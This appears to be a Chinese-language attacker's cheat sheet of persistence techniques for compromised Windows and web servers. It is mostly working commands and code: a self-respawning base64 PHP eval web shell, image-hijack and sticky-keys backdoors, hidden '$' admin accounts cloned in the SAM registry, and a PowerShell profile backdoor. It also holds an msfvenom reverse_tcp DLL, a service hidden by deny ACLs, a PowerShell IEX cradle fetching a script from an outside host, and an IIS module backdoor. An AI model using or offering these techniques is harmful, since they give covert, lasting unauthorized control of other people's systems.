不死马权限维持
<?php ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行. set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去 $interval = 5; // 每隔*秒运行 do { $filename = 'test.php'; if(file_exists($filename)) { echo "xxx"; } else { $file = fopen("test.php", "w"); $txt = "PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+";//c $txt=base64_decode($txt); fwrite($file, $txt); fclose($file); } sleep($interval); } while (true); ?>
映像劫持技术
进入注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建coleak.exe为后门文件,然后在coleak.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径径,修改一个文件的文件名为coleak.exe 双击 即可触发。
运行命名为coleak.exe的文件时将会被替代为运行s.exe
策略组脚本维持
输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机
在C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup上传s.exe(或者直接选择c盘中的s.exe), 启动时选择该文件即可
shift粘滞键后门
更改sethc.exe拥有者 为administrator
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak Copy C:\s.exe C:\windows\system32\sethc.exe
建立影子账号
创建一个带$符号的账户,因为在常规cmd下是无法查看到的。
net user coleak$ p-0p-0p-0 /add net localgroup administrators coleak$ /add net users
打开注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
3ea是coleak$用户 1F4是超级管理员的值
将1F4下F项的值复制到3ea下F项里面,替换原有数据。然后导出coleak$以及3EA
ner user moonsec$ /del 删除这个用户 再导入注册表 用户已经不显示在这个面板了。
powershell配置文件后门
Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所
以可以通过向该文件写入自定义的语句用来长期维持权限。
依次输入以下命令,查看当前是否存在配置文件。
echo $profile # C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 Test-path $profile # False New-Item -Path $profile -Type File –Force
设置1.bat
net user coleak 123456 /add & net localgroup administrators coleak /add
$string = 'Start-Process "C:\1.bat"' $string | Out-File -FilePath $profile -Append more $profile
Monitor权限维持
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f dll > shell.dll copy C:\temp\shell.dll C:\Windows\System32\test.dll cd C:\Windows\System32\ Monitor.exe
利用安全描述符隐藏服务后门进行权限维持
cmd创建自启动服务 sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\s.exe" depend= Tcpip obj= Localsystem start= auto sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
查询不到服务
sc query |findstr ".NET CLR Networking 3.5.0.0" get-service | findstr ".NET CLR Networking 3.5.0.0" sc query ".NET CLR Networking 3.5.0.0" #拒绝访问
修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.NET CLR Networking 3.5.0.0
function Server-Sddl-Change{ [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$Name ) $ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\" $S = $ROOT+$NAME $acl = Get-Acl $S $acl.SetAccessRuleProtection($true, $false) $person = [System.Security.Principal.NTAccount]"Everyone" $access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) $person = [System.Security.Principal.NTAccount]"Everyone" $access =[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) Set-Acl $S $acl }
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.10.128/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
iis后门
web.config
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <modules> <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" /> </modules> </system.webServer> </configuration>
在网站目录下新建一个bin文件夹 这个文件夹 存放dll集 把IIS_backdoor_dll.dll存放在这里面,打开 IIS_backdoor_shell 把网址填写进去即可执行命令
window隐藏技术
Attrib +s +a +h +r s.exe
驱动级文件隐藏
Easy File Locker
如何清除? 1、查询服务状态: sc qc xlkfs 2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现 3、删除服务: sc delete xlkfs 4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。 indow隐藏技术